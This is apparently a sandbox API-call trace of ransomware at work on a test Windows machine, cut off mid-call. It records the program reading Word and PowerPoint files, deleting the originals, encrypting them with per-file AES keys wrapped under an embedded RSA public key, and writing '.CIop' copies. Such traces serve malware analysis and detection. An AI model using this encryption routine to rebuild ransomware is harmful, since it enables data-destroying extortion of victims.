lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.108] SetErrorMode (uMode=0x1) returned 0x1 [0092.108] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\3B2V8p-DhIekN7FYAT.docx") returned 98 [0092.108] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\3B2V8p-DhIekN7FYAT.docx", dwFileAttributes=0x20) returned 1 [0092.108] StrStrW (lpFirst="3B2V8p-DhIekN7FYAT.docx", lpSrch=".CIop") returned 0x0 [0092.108] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\3B2V8p-DhIekN7FYAT.docx.CIop") returned 103 [0092.108] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\3B2V8p-DhIekN7FYAT.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\3b2v8p-dhiekn7fyat.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0092.110] ReadFile (in: hFile=0x458, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x1003f, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0x1003f, lpOverlapped=0x0) returned 1 [0092.110] CloseHandle (hObject=0x458) returned 1 [0092.110] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\3B2V8p-DhIekN7FYAT.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\3b2v8p-dhiekn7fyat.docx")) returned 1 [0092.112] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0092.112] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0092.112] SetErrorMode (uMode=0x1) returned 0x1 [0092.112] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62d778) returned 1 [0092.114] CryptGenKey (in: hProv=0x62d778, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3610) returned 1 [0092.160] CryptExportKey (in: hKey=0x5c3610, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.160] CryptExportKey (in: hKey=0x5c3610, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.161] CryptDestroyKey (hKey=0x5c3610) returned 1 [0092.161] CryptReleaseContext (hProv=0x62d778, dwFlags=0x0) returned 1 [0092.161] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\3B2V8p-DhIekN7FYAT.docx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\3b2v8p-dhiekn7fyat.docx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0092.161] WriteFile (in: hFile=0x458, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x1003f, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x1003f, lpOverlapped=0x0) returned 1 [0092.162] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1003f [0092.162] WriteFile (in: hFile=0x458, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.163] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10046 [0092.163] SetErrorMode (uMode=0x1) returned 0x1 [0092.163] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.163] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.163] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0092.163] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62daa8) returned 1 [0092.163] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62daa8, dwCertEncodingType=0x1, pInfo=0x682c70, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3610) returned 1 [0092.163] CryptEncrypt (in: hKey=0x5c3610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0092.163] CryptEncrypt (in: hKey=0x5c3610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d778*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62d778*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0092.163] WriteFile (in: hFile=0x458, lpBuffer=0x62d778*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62d778*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.163] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.164] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.165] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.165] CloseHandle (hObject=0x458) returned 1 [0092.166] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\3B2V8p-DhIekN7FYAT.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\3b2v8p-dhiekn7fyat.docx")) returned 0 Thread: id = 83 os_tid = 0x924 [0092.201] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.201] lstrcpyW (in: lpString1=0x2f0f368, lpString2="5qiwP0Jfq.pps" | out: lpString1="5qiwP0Jfq.pps") returned="5qiwP0Jfq.pps" [0092.201] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.201] SetErrorMode (uMode=0x1) returned 0x1 [0092.201] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\5qiwP0Jfq.pps") returned 88 [0092.201] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\5qiwP0Jfq.pps", dwFileAttributes=0x20) returned 1 [0092.202] StrStrW (lpFirst="5qiwP0Jfq.pps", lpSrch=".CIop") returned 0x0 [0092.202] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\5qiwP0Jfq.pps.CIop") returned 93 [0092.202] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\5qiwP0Jfq.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\5qiwp0jfq.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464 [0092.203] ReadFile (in: hFile=0x464, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x13151, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0x13151, lpOverlapped=0x0) returned 1 [0092.204] CloseHandle (hObject=0x464) returned 1 [0092.204] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\5qiwP0Jfq.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\5qiwp0jfq.pps")) returned 1 [0092.206] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0092.206] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0092.206] SetErrorMode (uMode=0x1) returned 0x1 [0092.206] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62d888) returned 1 [0092.208] CryptGenKey (in: hProv=0x62d888, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3650) returned 1 [0092.633] CryptExportKey (in: hKey=0x5c3650, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.633] CryptExportKey (in: hKey=0x5c3650, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.633] CryptDestroyKey (hKey=0x5c3650) returned 1 [0092.633] CryptReleaseContext (hProv=0x62d888, dwFlags=0x0) returned 1 [0092.633] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\5qiwP0Jfq.pps.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\5qiwp0jfq.pps.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464 [0092.634] WriteFile (in: hFile=0x464, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x13151, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x13151, lpOverlapped=0x0) returned 1 [0092.635] SetFilePointer (in: hFile=0x464, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13151 [0092.635] WriteFile (in: hFile=0x464, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.635] SetFilePointer (in: hFile=0x464, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13158 [0092.635] SetErrorMode (uMode=0x1) returned 0x1 [0092.635] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.635] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.635] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0092.635] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62d888) returned 1 [0092.636] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d888, dwCertEncodingType=0x1, pInfo=0x6814e0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3810) returned 1 [0092.636] CryptEncrypt (in: hKey=0x5c3810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0092.636] CryptEncrypt (in: hKey=0x5c3810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62dcc8*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62dcc8*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0092.636] WriteFile (in: hFile=0x464, lpBuffer=0x62dcc8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62dcc8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.636] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.637] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.637] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.638] CloseHandle (hObject=0x464) returned 1 [0092.639] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\5qiwP0Jfq.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\5qiwp0jfq.pps")) returned 0 Thread: id = 84 os_tid = 0x8c4 [0092.671] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.671] lstrcpyW (in: lpString1=0x2f0f368, lpString2="fsxQuEAvOd0El-v.pps" | out: lpString1="fsxQuEAvOd0El-v.pps") returned="fsxQuEAvOd0El-v.pps" [0092.671] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.671] SetErrorMode (uMode=0x1) returned 0x1 [0092.671] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\fsxQuEAvOd0El-v.pps") returned 94 [0092.671] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\fsxQuEAvOd0El-v.pps", dwFileAttributes=0x20) returned 1 [0092.671] StrStrW (lpFirst="fsxQuEAvOd0El-v.pps", lpSrch=".CIop") returned 0x0 [0092.672] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\fsxQuEAvOd0El-v.pps.CIop") returned 99 [0092.672] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\fsxQuEAvOd0El-v.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\fsxqueavod0el-v.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468 [0092.673] ReadFile (in: hFile=0x468, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x9b73, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0x9b73, lpOverlapped=0x0) returned 1 [0092.673] CloseHandle (hObject=0x468) returned 1 [0092.673] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\fsxQuEAvOd0El-v.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\fsxqueavod0el-v.pps")) returned 1 [0092.674] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0092.675] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0092.675] SetErrorMode (uMode=0x1) returned 0x1 [0092.675] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62dd50) returned 1 [0092.677] CryptGenKey (in: hProv=0x62dd50, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3350) returned 1 [0092.695] CryptExportKey (in: hKey=0x5c3350, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.695] CryptExportKey (in: hKey=0x5c3350, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.695] CryptDestroyKey (hKey=0x5c3350) returned 1 [0092.695] CryptReleaseContext (hProv=0x62dd50, dwFlags=0x0) returned 1 [0092.695] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\fsxQuEAvOd0El-v.pps.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\fsxqueavod0el-v.pps.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.695] WriteFile (in: hFile=0x470, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x9b73, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x9b73, lpOverlapped=0x0) returned 1 [0092.697] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9b73 [0092.697] WriteFile (in: hFile=0x470, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.697] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7a [0092.697] SetErrorMode (uMode=0x1) returned 0x1 [0092.697] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.697] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, 